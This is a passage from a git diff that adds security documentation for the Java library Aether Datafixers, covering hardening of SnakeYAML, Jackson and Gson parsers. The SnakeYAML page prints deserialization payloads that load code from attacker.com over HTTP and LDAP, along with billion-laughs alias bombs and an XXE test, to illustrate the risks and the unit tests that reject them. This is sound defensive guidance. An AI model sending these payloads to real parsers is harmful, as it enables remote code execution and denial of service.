YAMLFactory.builder() + .streamReadConstraints(constraints) + .build(); + + YAMLMapper mapper = new YAMLMapper(factory); + + return new JacksonYamlOps(mapper); + } +} +``` + +### Secure JacksonXmlOps + +```java +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.dataformat.xml.XmlFactory; +import com.fasterxml.jackson.dataformat.xml.XmlMapper; +import de.splatgames.aether.datafixers.codec.xml.jackson.JacksonXmlOps; +import javax.xml.stream.XMLInputFactory; + +public class SecureJacksonXmlConfig { + + public static JacksonXmlOps createSecureOps() { + // Secure XML parsing + XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory(); + xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); + xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); + xmlInputFactory.setProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false); + + // Resource limits + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + + XmlFactory factory = XmlFactory.builder() + .xmlInputFactory(xmlInputFactory) + .streamReadConstraints(constraints) + .build(); + + XmlMapper mapper = XmlMapper.builder(factory).build(); + + return new JacksonXmlOps(mapper); + } +} +``` + +--- + +## Deserialization Features + +Additional security-relevant features: + +```java +ObjectMapper mapper = new ObjectMapper(); + +// Fail on unknown properties (defense in depth) +mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true); + +// Fail on null for primitives +mapper.configure(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES, true); + +// Fail on missing creator properties +mapper.configure(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES, true); +``` + +--- + +## Testing Security Configuration + +```java +@Test +void rejectsXxeAttack() { + String xxePayload = """ + + + ]> + &xxe; + """; + + JacksonXmlOps secureOps = SecureJacksonXmlConfig.createSecureOps(); + + assertThrows(Exception.class, () -> + secureOps.mapper().readTree(xxePayload) + ); +} + +@Test +void rejectsDeeplyNestedJson() { + // Create deeply nested JSON + StringBuilder json = new StringBuilder(); + for (int i = 0; i < 100; i++) json.append("{\"a\":"); + json.append("1"); + for (int i = 0; i < 100; i++) json.append("}"); + + JacksonJsonOps secureOps = SecureJacksonJsonConfig.createSecureOps(); + + assertThrows(StreamConstraintsException.class, () -> + secureOps.mapper().readTree(json.toString()) + ); +} +``` + +--- + +## Related + +- [Threat Model](../threat-model.md) +- [Best Practices](../best-practices.md) +- [JSON Support](../../codec/json.md) +- [XML Support](../../codec/xml.md) +- [YAML Support](../../codec/yaml.md) diff --git a/docs/security/format-considerations/snakeyaml.md b/docs/security/format-considerations/snakeyaml.md new file mode 100644 index 0000000..6706754 --- /dev/null +++ b/docs/security/format-considerations/snakeyaml.md @@ -0,0 +1,316 @@ +# SnakeYAML Security + +> **CRITICAL WARNING:** SnakeYAML's default configuration allows arbitrary Java class instantiation, +> which can lead to **Remote Code Execution (RCE)**. Never use the default `Yaml()` constructor +> with untrusted input. + +## Overview + +SnakeYAML is a powerful YAML parser that supports YAML 1.1 features including custom tags and constructors. However, this power comes with significant security risks when processing untrusted data. + +| Risk | Severity | Mitigation | +|----------------------------------|--------------|----------------------------------| +| Arbitrary Code Execution | **Critical** | Use `SafeConstructor` | +| Billion Laughs (Alias Expansion) | High | Limit `maxAliasesForCollections` | +| Stack Overflow | Medium | Limit `nestingDepthLimit` | +| Resource Exhaustion | Medium | Limit `codePointLimit` | + +## Arbitrary Code Execution + +### The Vulnerability + +SnakeYAML's default constructor can instantiate arbitrary Java classes using YAML tags: + +```yaml +# This YAML can execute arbitrary code with default Yaml() +!!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://attacker.com/malicious.jar"] + ]] +] +``` + +When parsed with `new Yaml().load(input)`, this: +1. Creates a `URLClassLoader` pointing to an attacker's server +2. Loads a malicious JAR file +3. Instantiates `ScriptEngineManager` with the malicious classloader +4. Executes arbitrary code on your server + +### Other Dangerous Payloads + +```yaml +# Execute shell command (via ProcessBuilder) +!!java.lang.ProcessBuilder [["calc.exe"]] + +# JNDI injection +!!com.sun.rowset.JdbcRowSetImpl + dataSourceName: "ldap://attacker.com/exploit" + autoCommit: true +``` + +### The Solution: SafeConstructor + +**Always** use `SafeConstructor` when parsing untrusted YAML: + +```java +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; +import org.yaml.snakeyaml.LoaderOptions; + +// UNSAFE - Never do this with untrusted input: +// Yaml yaml = new Yaml(); + +// SAFE - Always use SafeConstructor: +Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions())); +Object data = yaml.load(untrustedInput); +``` + +`SafeConstructor` only allows construction of basic Java types: +- `String`, `Integer`, `Long`, `Double`, `Boolean` +- `List`, `Map` +- `Date`, `byte[]` + +Any YAML with custom tags (`!!classname`) will throw an exception. + +--- + +## Billion Laughs Attack + +### The Vulnerability + +YAML aliases allow referencing previously defined anchors. Attackers can create exponentially expanding structures: + +```yaml +a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] +b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] +c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] +d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] +e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] +f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] +g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] +h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] +i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] +``` + +This small YAML file expands to **billions** of strings, consuming all available memory. + +### The Solution: Limit Alias Expansion + +```java +LoaderOptions options = new LoaderOptions(); +options.setMaxAliasesForCollections(50); // Default is 50, adjust as needed + +Yaml yaml = new Yaml(new SafeConstructor(options)); +``` + +With this limit, the parser throws an exception when alias expansion exceeds the threshold. + +--- + +## Complete Secure Configuration + +Use this configuration for all untrusted YAML: + +```java +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.LoaderOptions; +import org.yaml.snakeyaml.constructor.SafeConstructor; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.yaml.snakeyaml.SnakeYamlOps; + +public class SecureYamlParser { + + private static final int MAX_ALIASES = 50; + private static final int MAX_DEPTH = 50; + private static final int MAX_CODE_POINTS = 3 * 1024 * 1024; // 3MB + + private final Yaml yaml; + + public SecureYamlParser() { + LoaderOptions options = new LoaderOptions(); + + // Prevent Billion Laughs attack + options.setMaxAliasesForCollections(MAX_ALIASES); + + // Prevent stack overflow from deep nesting + options.setNestingDepthLimit(MAX_DEPTH); + + // Limit total input size + options.setCodePointLimit(MAX_CODE_POINTS); + + // Reject duplicate keys (data integrity) + options.setAllowDuplicateKeys(false); + + // Use SafeConstructor to prevent RCE + this.yaml = new Yaml(new SafeConstructor(options)); + } + + public Dynamic parse(String untrustedYaml) { + Object data = yaml.load(untrustedYaml); + return new Dynamic<>(SnakeYamlOps.INSTANCE, data); + } + + public Dynamic parse(InputStream untrustedInput) { + Object data = yaml.load(untrustedInput); + return new Dynamic<>(SnakeYamlOps.INSTANCE, data); + } +} +``` + +--- + +## LoaderOptions Reference + +| Option | Default | Recommended | Purpose | +|----------------------------|---------|-------------------|---------------------------| +| `maxAliasesForCollections` | 50 | 50 or less | Prevent Billion Laughs | +| `nestingDepthLimit` | 50 | 50 or less | Prevent stack overflow | +| `codePointLimit` | 3MB | Based on use case | Limit input size | +| `allowDuplicateKeys` | true | **false** | Data integrity | +| `allowRecursiveKeys` | false | false | Prevent recursive anchors | +| `wrappedToRootException` | false | true | Better error handling | + +--- + +## Integration with Aether Datafixers + +### Secure Migration Service + +```java +public class SecureYamlMigrationService { + + private final AetherDataFixer fixer; + private final Yaml yaml; + + public SecureYamlMigrationService(AetherDataFixer fixer) { + this.fixer = fixer; + + LoaderOptions options = new LoaderOptions(); + options.setMaxAliasesForCollections(50); + options.setNestingDepthLimit(50); + options.setCodePointLimit(3 * 1024 * 1024); + options.setAllowDuplicateKeys(false); + + this.yaml = new Yaml(new SafeConstructor(options)); + } + + public TaggedDynamic migrate( + String untrustedYaml, + TypeReference type, + DataVersion from, + DataVersion to) { + + // Parse with safe settings + Object data = yaml.load(untrustedYaml); + Dynamic dynamic = new Dynamic<>(SnakeYamlOps.INSTANCE, data); + + // Migrate + TaggedDynamic tagged = new TaggedDynamic<>(type, dynamic); + return fixer.update(tagged, from, to); + } +} +``` + +### Pre-Validation + +For additional security, validate input before parsing: + +```java +public class YamlValidator { + + private static final long MAX_SIZE = 1024 * 1024; // 1MB + + public void validateBeforeParsing(byte[] input) { + if (input.length > MAX_SIZE) { + throw new SecurityException("YAML input exceeds maximum size"); + } + } + + public void validateBeforeParsing(String input) { + if (input.length() > MAX_SIZE) { + throw new SecurityException("YAML input exceeds maximum size"); + } + } +} +``` + +--- + +## Testing Your Configuration + +Verify your configuration rejects malicious payloads: + +```java +@Test +void rejectsArbitraryClassInstantiation() { + String maliciousYaml = "!!java.lang.ProcessBuilder [[\"calc.exe\"]]"; + + Yaml safeYaml = new Yaml(new SafeConstructor(new LoaderOptions())); + + assertThrows(YAMLException.class, () -> safeYaml.load(maliciousYaml)); +} + +@Test +void rejectsBillionLaughs() { + String billionLaughs = """ + a: &a ["lol"] + b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a] + c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b] + d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c] + e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d] + f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e] + """; + + LoaderOptions options = new LoaderOptions(); + options.setMaxAliasesForCollections(50); + Yaml safeYaml = new Yaml(new SafeConstructor(options)); + + assertThrows(YAMLException.class, () -> safeYaml.load(billionLaughs)); +} +``` + +--- + +## Common Mistakes + +### Mistake 1: Using Default Constructor + +```java +// WRONG - Vulnerable to RCE +Yaml yaml = new Yaml(); +Object data = yaml.load(userInput); +``` + +### Mistake 2: Using Custom Constructor Without SafeConstructor + +```java +// WRONG - Custom constructor may still be vulnerable +class MyConstructor extends Constructor { + // ... +} +Yaml yaml = new Yaml(new MyConstructor()); +``` + +### Mistake 3: Forgetting LoaderOptions + +```java +// WRONG - No limits on aliases or depth +Yaml yaml = new Yaml(new SafeConstructor()); // Uses default LoaderOptions +``` + +**Correct:** +```java +LoaderOptions options = new LoaderOptions(); +options.setMaxAliasesForCollections(50); +options.setNestingDepthLimit(50); +Yaml yaml = new Yaml(new SafeConstructor(options)); +``` + +--- + +## Related + +- [Threat Model](../threat-model.md) +- [Best Practices](../best-practices.md) +- [YAML Support](../../codec/yaml.md) +- [Secure Configuration Examples](../secure-configuration-examples.md) diff --git a/docs/security/index.md b/docs/security/index.md new file mode 100644 index 0000000..ddb17df --- /dev/null +++ b/docs/security/index.md @@ -0,0 +1,118 @@ +# Security Overview + +This section provides guidance for securely handling untrusted data with Aether Datafixers. When processing data from external sources—user uploads, APIs, message queues, or file imports—proper security measures are essential to prevent attacks. + +## Quick Reference + +| Threat | Affected Formats | Risk | Mitigation | +|-----------------------------------|------------------|--------------|---------------------------| +| Arbitrary Code Execution | YAML (SnakeYAML) | **Critical** | Use `SafeConstructor` | +| Billion Laughs (Entity Expansion) | YAML, XML | High | Limit aliases/entities | +| XXE (External Entity Injection) | XML | High | Disable external entities | +| Polymorphic Deserialization | JSON (Jackson) | Medium | Avoid default typing | +| Resource Exhaustion | All | Medium | Size and depth limits | +| Stack Overflow | All | Medium | Nesting depth limits | + +## When to Apply Security Measures + +Apply the security recommendations in this documentation when: + +- **User Uploads** — Processing files uploaded by users (game saves, configs, data imports) +- **External APIs** — Consuming data from third-party APIs +- **Message Queues** — Processing messages from queues (Kafka, RabbitMQ, etc.) +- **Database Blobs** — Migrating serialized data stored in databases +- **File Imports** — Reading configuration or data files from untrusted sources + +## Documentation Structure + +### [Threat Model](threat-model.md) + +Understand the attack vectors and trust boundaries: +- Classification of untrusted data sources +- Detailed attack vector descriptions +- Impact assessment and risk analysis + +### [Format-Specific Security](format-considerations/index.md) + +Security considerations for each serialization format: +- [SnakeYAML Security](format-considerations/snakeyaml.md) — **Critical: RCE prevention** +- [Jackson Security](format-considerations/jackson.md) — XXE, polymorphic typing, depth limits +- [Gson Security](format-considerations/gson.md) — Safe defaults and validation + +### [Best Practices](best-practices.md) + +General security best practices: +- Input validation before migration +- Size and depth limits +- Timeout configuration +- Defense-in-depth checklist + +### [Secure Configuration Examples](secure-configuration-examples.md) + +Ready-to-use secure configurations: +- Safe `Yaml` setup for SnakeYAML +- Safe `ObjectMapper` setup for Jackson +- Safe `XmlMapper` setup for Jackson XML +- Complete migration service example + +### [Spring Security Integration](spring-security-integration.md) + +Integrating security with Spring Boot: +- Secure bean configuration +- Request validation filters +- Rate limiting +- Audit logging + +## Quick Start: Secure Configuration + +### SnakeYAML (Critical) + +```java +// ALWAYS use SafeConstructor for untrusted YAML +LoaderOptions options = new LoaderOptions(); +options.setMaxAliasesForCollections(50); +options.setNestingDepthLimit(50); +options.setCodePointLimit(3 * 1024 * 1024); + +Yaml safeYaml = new Yaml(new SafeConstructor(options)); +Object data = safeYaml.load(untrustedInput); +Dynamic dynamic = new Dynamic<>(SnakeYamlOps.INSTANCE, data); +``` + +### Jackson JSON + +```java +StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + +JsonFactory factory = JsonFactory.builder() + .streamReadConstraints(constraints) + .build(); + +ObjectMapper safeMapper = new ObjectMapper(factory); +JsonNode node = safeMapper.readTree(untrustedInput); +Dynamic dynamic = new Dynamic<>(JacksonJsonOps.INSTANCE, node); +``` + +### Jackson XML (XXE Prevention) + +```java +XMLInputFactory xmlFactory = XMLInputFactory.newFactory(); +xmlFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); +xmlFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); + +XmlMapper safeMapper = XmlMapper.builder( + XmlFactory.builder().xmlInputFactory(xmlFactory).build() +).build(); +JsonNode node = safeMapper.readTree(untrustedInput); +Dynamic dynamic = new Dynamic<>(JacksonXmlOps.INSTANCE, node); +``` + +## Related + +- [Codec Overview](../codec/index.md) +- [YAML Support](../codec/yaml.md) +- [XML Support](../codec/xml.md) +- [JSON Support](../codec/json.md) diff --git a/docs/security/secure-configuration-examples.md b/docs/security/secure-configuration-examples.md new file mode 100644 index 0000000..4d75c9d --- /dev/null +++ b/docs/security/secure-configuration-examples.md @@ -0,0 +1,513 @@ +# Secure Configuration Examples + +This document provides ready-to-use secure configurations for all supported formats. Copy and adapt these examples for your application. + +## Quick Reference + +| Format | Primary Risk | Required Configuration | +|--------------|---------------------------|-------------------------------------| +| SnakeYAML | RCE | `SafeConstructor` + `LoaderOptions` | +| Jackson JSON | Polymorphic typing, depth | `StreamReadConstraints` | +| Jackson XML | XXE | Disable external entities | +| Jackson YAML | Depth | `StreamReadConstraints` | +| Gson | Large payloads | Pre-validation | + +--- + +## SnakeYAML Secure Configuration + +### Basic Secure Setup + +```java +import org.yaml.snakeyaml.LoaderOptions; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.yaml.snakeyaml.SnakeYamlOps; + +public class SecureSnakeYamlConfig { + + /** + * Creates a secure Yaml instance for parsing untrusted input. + */ + public static Yaml createSecureYaml() { + LoaderOptions options = new LoaderOptions(); + + // Prevent Billion Laughs (alias expansion attack) + options.setMaxAliasesForCollections(50); + + // Prevent stack overflow from deep nesting + options.setNestingDepthLimit(50); + + // Limit input size (3MB default) + options.setCodePointLimit(3 * 1024 * 1024); + + // Reject duplicate keys for data integrity + options.setAllowDuplicateKeys(false); + + // Use SafeConstructor to prevent arbitrary class instantiation + return new Yaml(new SafeConstructor(options)); + } + + /** + * Parses untrusted YAML securely and returns a Dynamic. + */ + public static Dynamic parseSecurely(String yaml) { + Yaml safeYaml = createSecureYaml(); + Object data = safeYaml.load(yaml); + return new Dynamic<>(SnakeYamlOps.INSTANCE, data); + } +} +``` + +### Usage Example + +```java +// Parse untrusted YAML +String untrustedYaml = request.getBody(); +Dynamic dynamic = SecureSnakeYamlConfig.parseSecurely(untrustedYaml); + +// Migrate +TaggedDynamic tagged = new TaggedDynamic<>(TypeReferences.PLAYER, dynamic); +TaggedDynamic result = fixer.update(tagged, fromVersion, toVersion); +``` + +--- + +## Jackson JSON Secure Configuration + +### Basic Secure Setup + +```java +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.json.jackson.JacksonJsonOps; + +public class SecureJacksonJsonConfig { + + /** + * Creates a secure ObjectMapper for parsing untrusted JSON. + */ + public static ObjectMapper createSecureMapper() { + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) // Prevent stack overflow + .maxNumberLength(100) // Limit number string length + .maxStringLength(1_000_000) // 1MB max string + .maxNameLength(1_000) // Limit field name length + .build(); + + JsonFactory factory = JsonFactory.builder() + .streamReadConstraints(constraints) + .build(); + + return new ObjectMapper(factory); + } + + /** + * Creates secure JacksonJsonOps instance. + */ + public static JacksonJsonOps createSecureOps() { + return new JacksonJsonOps(createSecureMapper()); + } + + /** + * Parses untrusted JSON securely and returns a Dynamic. + */ + public static Dynamic parseSecurely(String json) throws Exception { + ObjectMapper mapper = createSecureMapper(); + JsonNode node = mapper.readTree(json); + return new Dynamic<>(JacksonJsonOps.INSTANCE, node); + } + + /** + * Parses untrusted JSON securely with custom ops. + */ + public static Dynamic parseSecurely(byte[] json) throws Exception { + JacksonJsonOps ops = createSecureOps(); + JsonNode node = ops.mapper().readTree(json); + return new Dynamic<>(ops, node); + } +} +``` + +### Usage Example + +```java +// Parse untrusted JSON +byte[] untrustedJson = request.getBodyAsBytes(); +Dynamic dynamic = SecureJacksonJsonConfig.parseSecurely(untrustedJson); + +// Migrate +TaggedDynamic tagged = new TaggedDynamic<>(TypeReferences.CONFIG, dynamic); +TaggedDynamic result = fixer.update(tagged, fromVersion, toVersion); +``` + +--- + +## Jackson XML Secure Configuration (XXE Prevention) + +### Basic Secure Setup + +```java +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.dataformat.xml.XmlFactory; +import com.fasterxml.jackson.dataformat.xml.XmlMapper; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.xml.jackson.JacksonXmlOps; + +import javax.xml.stream.XMLInputFactory; + +public class SecureJacksonXmlConfig { + + /** + * Creates a secure XmlMapper with XXE prevention. + */ + public static XmlMapper createSecureMapper() { + // Configure secure XMLInputFactory + XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory(); + + // Disable external entities (XXE prevention) + xmlInputFactory.setProperty( + XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); + + // Disable DTD processing + xmlInputFactory.setProperty( + XMLInputFactory.SUPPORT_DTD, false); + + // Disable entity replacement + xmlInputFactory.setProperty( + XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false); + + // Configure read constraints + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + + // Build secure factory + XmlFactory factory = XmlFactory.builder() + .xmlInputFactory(xmlInputFactory) + .streamReadConstraints(constraints) + .build(); + + return XmlMapper.builder(factory).build(); + } + + /** + * Creates secure JacksonXmlOps instance. + */ + public static JacksonXmlOps createSecureOps() { + return new JacksonXmlOps(createSecureMapper()); + } + + /** + * Parses untrusted XML securely and returns a Dynamic. + */ + public static Dynamic parseSecurely(String xml) throws Exception { + XmlMapper mapper = createSecureMapper(); + JsonNode node = mapper.readTree(xml); + return new Dynamic<>(new JacksonXmlOps(mapper), node); + } +} +``` + +### Usage Example + +```java +// Parse untrusted XML +String untrustedXml = request.getBody(); +Dynamic dynamic = SecureJacksonXmlConfig.parseSecurely(untrustedXml); + +// Migrate +TaggedDynamic tagged = new TaggedDynamic<>(TypeReferences.SETTINGS, dynamic); +TaggedDynamic result = fixer.update(tagged, fromVersion, toVersion); +``` + +--- + +## Jackson YAML Secure Configuration + +### Basic Secure Setup + +```java +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import com.fasterxml.jackson.dataformat.yaml.YAMLMapper; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.yaml.jackson.JacksonYamlOps; + +public class SecureJacksonYamlConfig { + + /** + * Creates a secure YAMLMapper for parsing untrusted input. + */ + public static YAMLMapper createSecureMapper() { + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + + YAMLFactory factory = YAMLFactory.builder() + .streamReadConstraints(constraints) + .build(); + + return new YAMLMapper(factory); + } + + /** + * Creates secure JacksonYamlOps instance. + */ + public static JacksonYamlOps createSecureOps() { + return new JacksonYamlOps(createSecureMapper()); + } + + /** + * Parses untrusted YAML securely and returns a Dynamic. + */ + public static Dynamic parseSecurely(String yaml) throws Exception { + YAMLMapper mapper = createSecureMapper(); + JsonNode node = mapper.readTree(yaml); + return new Dynamic<>(new JacksonYamlOps(mapper), node); + } +} +``` + +--- + +## Gson Secure Configuration + +### Basic Secure Setup with Validation + +```java +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.JsonElement; +import com.google.gson.JsonParser; +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.json.gson.GsonOps; + +public class SecureGsonConfig { + + private static final long MAX_SIZE = 10 * 1024 * 1024; // 10MB + private static final int MAX_DEPTH = 50; + + /** + * Creates a Gson instance (safe by default). + */ + public static Gson createGson() { + return new GsonBuilder() + .disableHtmlEscaping() + .create(); + } + + /** + * Parses untrusted JSON securely with size and depth validation. + */ + public static Dynamic parseSecurely(String json) { + // Validate size + if (json.length() > MAX_SIZE) { + throw new SecurityException("JSON exceeds maximum size of " + MAX_SIZE); + } + + // Parse + JsonElement element = JsonParser.parseString(json); + + // Validate depth + validateDepth(element, 0); + + return new Dynamic<>(GsonOps.INSTANCE, element); + } + + private static void validateDepth(JsonElement element, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("JSON exceeds maximum depth of " + MAX_DEPTH); + } + + if (element.isJsonObject()) { + element.getAsJsonObject().entrySet() + .forEach(e -> validateDepth(e.getValue(), depth + 1)); + } else if (element.isJsonArray()) { + element.getAsJsonArray() + .forEach(e -> validateDepth(e, depth + 1)); + } + } +} +``` + +--- + +## Complete Migration Service + +A complete service combining all security measures: + +```java +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.api.fix.AetherDataFixer; +import de.splatgames.aether.datafixers.api.schema.DataVersion; +import de.splatgames.aether.datafixers.api.type.TaggedDynamic; +import de.splatgames.aether.datafixers.api.type.TypeReference; + +import java.util.concurrent.*; + +public class SecureMigrationService { + + private static final long MAX_PAYLOAD_SIZE = 10 * 1024 * 1024; + private static final Duration TIMEOUT = Duration.ofSeconds(30); + + private final AetherDataFixer fixer; + private final ExecutorService executor; + + public SecureMigrationService(AetherDataFixer fixer) { + this.fixer = fixer; + this.executor = Executors.newCachedThreadPool(); + } + + /** + * Migrates untrusted JSON using Jackson. + */ + public TaggedDynamic migrateJson( + byte[] untrustedJson, + TypeReference type, + DataVersion from, + DataVersion to) throws Exception { + + validateSize(untrustedJson); + Dynamic dynamic = SecureJacksonJsonConfig.parseSecurely(untrustedJson); + return migrateWithTimeout(new TaggedDynamic<>(type, dynamic), from, to); + } + + /** + * Migrates untrusted YAML using SnakeYAML. + */ + public TaggedDynamic migrateYaml( + String untrustedYaml, + TypeReference type, + DataVersion from, + DataVersion to) throws Exception { + + validateSize(untrustedYaml); + Dynamic dynamic = SecureSnakeYamlConfig.parseSecurely(untrustedYaml); + return migrateWithTimeout(new TaggedDynamic<>(type, dynamic), from, to); + } + + /** + * Migrates untrusted XML using Jackson. + */ + public TaggedDynamic migrateXml( + String untrustedXml, + TypeReference type, + DataVersion from, + DataVersion to) throws Exception { + + validateSize(untrustedXml); + Dynamic dynamic = SecureJacksonXmlConfig.parseSecurely(untrustedXml); + return migrateWithTimeout(new TaggedDynamic<>(type, dynamic), from, to); + } + + private void validateSize(byte[] data) { + if (data.length > MAX_PAYLOAD_SIZE) { + throw new PayloadTooLargeException( + "Payload exceeds maximum size of " + MAX_PAYLOAD_SIZE); + } + } + + private void validateSize(String data) { + if (data.length() > MAX_PAYLOAD_SIZE) { + throw new PayloadTooLargeException( + "Payload exceeds maximum size of " + MAX_PAYLOAD_SIZE); + } + } + + private TaggedDynamic migrateWithTimeout( + TaggedDynamic input, + DataVersion from, + DataVersion to) throws Exception { + + Future> future = executor.submit( + () -> fixer.update(input, from, to) + ); + + try { + return future.get(TIMEOUT.toMillis(), TimeUnit.MILLISECONDS); + } catch (TimeoutException e) { + future.cancel(true); + throw new MigrationTimeoutException("Migration timed out after " + TIMEOUT, e); + } catch (ExecutionException e) { + throw new MigrationException("Migration failed", e.getCause()); + } + } + + public void shutdown() { + executor.shutdown(); + } +} +``` + +### Usage + +```java +SecureMigrationService service = new SecureMigrationService(fixer); + +// Migrate JSON +TaggedDynamic result = service.migrateJson( + jsonBytes, + TypeReferences.PLAYER, + new DataVersion(100), + new DataVersion(200) +); + +// Migrate YAML +TaggedDynamic yamlResult = service.migrateYaml( + yamlString, + TypeReferences.CONFIG, + new DataVersion(1), + new DataVersion(5) +); + +// Migrate XML +TaggedDynamic xmlResult = service.migrateXml( + xmlString, + TypeReferences.SETTINGS, + new DataVersion(1), + new DataVersion(3) +); +``` + +--- + +## Exception Classes + +```java +public class PayloadTooLargeException extends SecurityException { + public PayloadTooLargeException(String message) { + super(message); + } +} + +public class MigrationTimeoutException extends RuntimeException { + public MigrationTimeoutException(String message, Throwable cause) { + super(message, cause); + } +} + +public class MigrationException extends RuntimeException { + public MigrationException(String message, Throwable cause) { + super(message, cause); + } +} +``` + +--- + +## Related + +- [Best Practices](best-practices.md) +- [SnakeYAML Security](format-considerations/snakeyaml.md) +- [Jackson Security](format-considerations/jackson.md) +- [Gson Security](format-considerations/gson.md) +- [Spring Security Integration](spring-security-integration.md) diff --git a/docs/security/spring-security-integration.md b/docs/security/spring-security-integration.md new file mode 100644 index 0000000..87087fe --- /dev/null +++ b/docs/security/spring-security-integration.md @@ -0,0 +1,649 @@ +# Spring Security Integration + +This guide covers integrating secure Aether Datafixers usage with Spring Boot and Spring Security. + +## Overview + +When using the `aether-datafixers-spring-boot-starter`, additional security measures should be implemented at the Spring level: + +1. **Secure Bean Configuration** — Configure secure parsers as Spring beans +2. **Request Validation** — Validate payloads before they reach migration endpoints +3. **Rate Limiting** — Prevent abuse of migration endpoints +4. **Audit Logging** — Track migration attempts for security monitoring + +--- + +## Secure Bean Configuration + +### Secure Parser Beans + +```java +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.yaml.snakeyaml.LoaderOptions; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.dataformat.xml.XmlFactory; +import com.fasterxml.jackson.dataformat.xml.XmlMapper; +import javax.xml.stream.XMLInputFactory; + +@Configuration +public class SecureDataFixerConfig { + + @Bean + public Yaml secureYaml() { + LoaderOptions options = new LoaderOptions(); + options.setMaxAliasesForCollections(50); + options.setNestingDepthLimit(50); + options.setCodePointLimit(3 * 1024 * 1024); + options.setAllowDuplicateKeys(false); + return new Yaml(new SafeConstructor(options)); + } + + @Bean + public ObjectMapper secureJsonMapper() { + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxNumberLength(100) + .maxStringLength(1_000_000) + .build(); + + JsonFactory factory = JsonFactory.builder() + .streamReadConstraints(constraints) + .build(); + + return new ObjectMapper(factory); + } + + @Bean + public XmlMapper secureXmlMapper() { + XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory(); + xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); + xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); + + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + + XmlFactory factory = XmlFactory.builder() + .xmlInputFactory(xmlInputFactory) + .streamReadConstraints(constraints) + .build(); + + return XmlMapper.builder(factory).build(); + } +} +``` + +### Secure DynamicOps Beans + +```java +import de.splatgames.aether.datafixers.codec.json.jackson.JacksonJsonOps; +import de.splatgames.aether.datafixers.codec.xml.jackson.JacksonXmlOps; + +@Configuration +public class SecureDynamicOpsConfig { + + @Bean + public JacksonJsonOps secureJsonOps(ObjectMapper secureJsonMapper) { + return new JacksonJsonOps(secureJsonMapper); + } + + @Bean + public JacksonXmlOps secureXmlOps(XmlMapper secureXmlMapper) { 